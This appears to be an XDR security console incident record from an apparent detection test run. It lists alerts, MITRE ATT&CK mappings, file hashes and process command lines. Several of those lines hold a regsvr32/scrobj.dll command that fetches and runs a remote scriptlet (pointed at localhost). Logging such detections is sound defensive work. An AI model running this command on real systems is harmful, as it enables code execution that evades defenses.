HIGH 'Regsvr32 may have run code from an untrusted source' along with 6 other issues

RESOLVED OTHER ID: #1235 | Created: 2026-01-10 20:02:21
XDR Console
7
Alerts
1
Hosts
9
Files
0
Network
Incident Overview

'Regsvr32 may have run code from an untrusted source' along with 6 other issues generated by XDR BIOC and XDR Agent detected on host book-r0be6s1nc3 involving 2 users

7
2026-01-10 20:20
Unassigned
XDR BIOC, XDR Agent
Malware Execution
Affected Hosts & Users
book-r0be6s1nc3\ubuntu ubuntu
MITRE ATT&CK Mapping
TA0005 - Defense Evasion TA0006 - Credential Access
T1003.002 - OS Credential Dumping: Security Account Manager T1218.010 - System Binary Proxy Execution: Regsvr32
File Artifacts 9
File Name Path SHA256 Signature Verdict Actions
MegaGenerator.exe - 21f53f4dab82efcc945ffcdeec1ec9467a5d71b694891c405aeb605aeb47e590 SIGNATURE_UNSIGNED UNKNOWN VT
cmd.exe - 64afc6db3aad1289533662e2d79e27dd55c7dcdb8cd918b08e145ad82ad5acb4 SIGNATURE_SIGNED UNKNOWN VT
regsvr32.exe - f379c637eb2250f0cdae05918035a37f3fdf89d6b2ad897da235c5f603fe2a1e SIGNATURE_SIGNED UNKNOWN VT
conhost.exe - 6651a3beb0df1e66363a950c37dc9305f185d161fb03761e172ccfa0a4ab4f89 SIGNATURE_SIGNED UNKNOWN VT
cmdkey.exe - 4125cd7966810cdfafb18157c276a88e6ac443c7c98d42593c70247045815028 SIGNATURE_SIGNED UNKNOWN VT
schtasks.exe - b96af3066f0b9de8a460f77baae006c5372a266be18c561daa7c7ae8635d399d SIGNATURE_SIGNED UNKNOWN VT
reg.exe - ef37663b44ac66920c6f33694deea01acb78ae3f3012884819373fa04c3eb5f0 SIGNATURE_SIGNED UNKNOWN VT
chcp.com - 8d75e783f327f899a42927fc2927f0e3d1ec62c4ca1dc88de04dd67de9ae555d SIGNATURE_SIGNED UNKNOWN VT
systeminfo.exe - a220a85750588f5b231ff8cb106ba5409eaabb85e3dd7278a98fca907e171ed2 SIGNATURE_SIGNED UNKNOWN VT
Network Artifacts 0
No network artifacts found for this incident
Process Artifacts 6
Process Command Line Parent Process User
MegaGenerator.exe "C:\app\cortex-xdr-siem-test\xdr_tools\MegaGenerator\bin\publish\MegaGenerator.e... cmd.exe BOOK-R0BE6S1NC3\ubuntu
cmd.exe C:\windows\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://127.0.0.1/test.sct s... cmd.exe BOOK-R0BE6S1NC3\ubuntu
cmd.exe C:\windows\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://127.0.0.1/test.sct s... cmd.exe BOOK-R0BE6S1NC3\ubuntu
cmd.exe C:\windows\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_mega_runner.bat... cmd.exe ubuntu
cmd.exe "cmd.exe" /c regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll cmd.exe BOOK-R0BE6S1NC3\ubuntu
cmd.exe "cmd.exe" /c regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll cmd.exe BOOK-R0BE6S1NC3\ubuntu
Registry Artifacts 0
No registry artifacts found for this incident
Analyst Verdict
HIGH
  • Isolate affected endpoints
  • Investigate all related alerts
  • Document findings
Summary
7
Alerts
1
Hosts
9
Files
0
Network
Alert Categories
Malware Execution
Timeline
01-10 20:20:04
Incident Modified
Status or details updated
01-10 20:20:04
Incident Resolved
resolved other
01-10 20:13:01
WildFire Malware
medium - Prevented (Blocked)
01-10 20:11:32
WildFire Malware
high - Detected (Post Detected)
01-10 20:10:30
Regsvr32 may have run code from an untrusted source
high - Detected
01-10 20:10:30
Suspicious Process Creation
medium - Prevented (Blocked)
01-10 20:02:21
Incident Created
#1235 - 'Regsvr32 may have run code from an untrusted source' along with 6 other issues
01-10 20:02:21
MegaGenerator.exe
Verdict: Unknown
01-10 20:02:21
cmd.exe
Verdict: Unknown
01-10 20:02:21
regsvr32.exe
Verdict: Unknown
01-10 20:02:21
conhost.exe
Verdict: Unknown
01-10 20:02:21
cmdkey.exe
Verdict: Unknown
01-10 20:02:21
schtasks.exe
Verdict: Unknown
01-10 20:02:21
reg.exe
Verdict: Unknown
01-10 20:02:21
chcp.com
Verdict: Unknown
01-10 20:02:21
systeminfo.exe
Verdict: Unknown
01-10 20:02:17
SYNC - Credential Gathering - 1082701410
high - Prevented (Blocked)
01-10 20:02:16
Regsvr32 may have run code from an untrusted source
high - Detected
01-10 20:02:15
Suspicious Process Creation
medium - Prevented (Blocked)